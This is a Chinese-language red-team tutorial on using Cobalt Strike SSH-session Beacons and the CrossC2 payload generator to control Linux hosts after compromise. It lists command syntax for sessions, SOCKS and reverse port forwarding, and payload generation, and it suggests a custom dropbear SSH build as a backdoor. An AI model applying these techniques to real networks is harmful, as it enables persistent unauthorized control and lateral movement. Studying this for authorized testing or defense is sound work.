因为 Cobalt Strike 只能生成针对 Windows 的有效载荷,并不是全平台的。所以使用 Cobalt Strike 对 Linux 主机进行后渗透常常被人忽略。但是其实是可以做到的。
主要是为了对目标网络形成控制链。
长话短说,有两种方法可以在 Cobalt Strike 中让 Linux 主机上线:
【SSH 会话】是针对 UNIX 目标进行后渗透的 Cobalt Strike 工具。
使用 【SSH 会话】 作为 agent 有两个前提:
那么你可能会问了,那如果有了 SSH 凭据,为什么我不自己登上去看,还非要上个 CS 干什么,毕竟 CS 又不是稳控。
个人认为这主要是为了在后渗透的网络拓扑中把目标网络的主机们串起来,便于横向。因为 SSH 会话生成的 Beacon 还具有连接到 TCP Beacon 的功能。这样可以形成一个 Win
→ Linux
→ Win
的拓扑链。
那么为什么使用 【SSH 会话】 作为在目标机器上的 agent?
功能上已经实现了 Beacon 的基本功能了。如果要重新设计创建具有以上这些特性和功能的一个 agent,并且让此 agent 在多种操作系统和架构的主机环境中生效是非常困难的。而且 SSH 会话还是绑定代理(bind agent
),因此从概念上讲,它非常适合 Cobalt Strike 的模型,可以用于进一步连接到 TCP Beacon。
注:
如果想要自定义配置 agent 可以使用 dropbear SSH
软件。它是一个小型 SSH 服务器,你可以在编译时将自定义配置嵌入到其中,与这个特定的客户端功能搭配使用,这可能是一个很好的后门。
Beacon 初始化:
ssh [目标:端口] [用户名] [密码]
ssh-key [目标:端口] [用户名] [/path/key]
Beacon 中的命令:
shell [命令] [参数]
sudo [密码] [命令] [参数]
cd /路径/
upload [/本地路径/文件]
download [文件]
SSH 会话基本上就是一个简化版本的 Beacon。
跳板功能:
pivoting
)socks 1234
rportfwd [监听端口] [转发的主机] [转发的端口]
rportfwd
命令要求 SSH 守护进程的 GatewayPorts
选项被设置为 yes
或者是 ClientSpecified
;其中如果此选项被设置为 ClientSpecified
则要求反向端口转发绑定为 localhost 之外的地址。
注:用 dropbear SSH
就不会有问题,但如果只是使用 凭据验证至 SSH 守护进程就要记住这个问题。
重定向器功能:
还可以进行一些跨会话的跳板(pivoting
)操作。
SSH 会话可以控制 TCP beacon,通过 connect [host] [port]
命令连接到一个等待连接的 TCP Beacon。
connect [主机] [端口]
[会话] → Pivoting → Listener
注:
Pivot Listener
要求 SSH 守护进程的 GatewayPorts
选项被设置为 yes
或是 ClientSpecified
。GatewayPorts
选项未被设置为 yes
或是 ClientSpecified
,那么你的跳板监听器(pivot listener
) 会被绑定到 localhost,这将不会有效。首先通过已有的 Windows Beacon Shell 初始化一个 SSH 会话 Beacon:
sleep 0
ssh [目标主机ip:端口] [用户名] [密码]
然后就上线了一个 Linux Beacon Shell:
实际测试中,这个 SSH 会话 Beacon Shell 老掉线,于是就没进行进一步的功能测试。
Cross C2 项目是一个可以生成 Linux/Mac OS 的 CS payload 的跨平台项目。
该项目的中文文档已经说的非常清楚了,作者也做了更新,修复了原本生成 Payload 时候的 bug。并且优点在于实操发现生成的 Beacon Shell 很稳。
操作过程中要注意如下几点:
windows/beacon_https/reverse_https
监听器。.cobaltstrike.beacon_keys
复制到本地 CS 目录下。(启用https监听器以后,会在teamserver服务端根目录下生成这个隐藏的证书文件)ip
和端口对应那个 windows/beacon_https/reverse_https
监听器。1、通过CNA插件方式生成可执行文件payload
1)安装
下载基础文件: (1)拷贝 CrossC2.cna 与 genCrossC2 文件到CobaltStrike 根目录 下 (必须处于 同目录 ) (2)选择Script Manager,添加CrossC2.cna (如果成功安装,菜单栏会多出一项 CrossC2) (3)修改CrossC2.cna脚本中genCrossC2路径为真实物理路径
exec("/xxx/xxx/genCrossC2"... -> exec("/opt/cs/genCrossC2"...
2)使用
菜单栏: CrossC2 -> CrossC2 Payload Generator -> genCrossC2 弹出的对话框中可以配置: (1)操作系统 (2)运行位数 (3)Payload类型(目前仅支持Stageless, Staged正在更新中) (4)生成文件保存路径
把生成的可执行文件丢到目标 Linux 机器下执行,即可上线:
2、直接运行底层生成程序 除过cna GUI生成外,也可以直接调用底层程序直接生成。
[usage]: genCrossC2 [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName]
-platform 'MacOS' / 'Linux'
-arch 'x86' / 'x64'
[ex]:
genCrossC2 127.0.0.1 监听端口 null null MacOS x64 ./CrossC2-test
当然,上线之后,你在 Windows 下面起的 CS 客户端,也可以去操作这个 Linux Beacon Shell。
经过两种方法上线了 Linux Beacon Shell 之后的拓扑图如下:
总之,通过 SSH 会话上线 Linux Beacon Shell,有两个前提:
实测不是很稳。但是功能多,可以作为重定向器继续连接到 TCP Beacon,方便横向。
通过 Cross C2 项目生成可以控 Linux 的 payload 上线的 Linux Beacon Shell,简单稳定。
参考文档:
[1] Youtube 视频 - 【字幕版】Red Team Ops with Cobalt Strike 9 of 9 Pivoting,Youtube,Raphael Mudge [2] Cross C2,Github,gloxec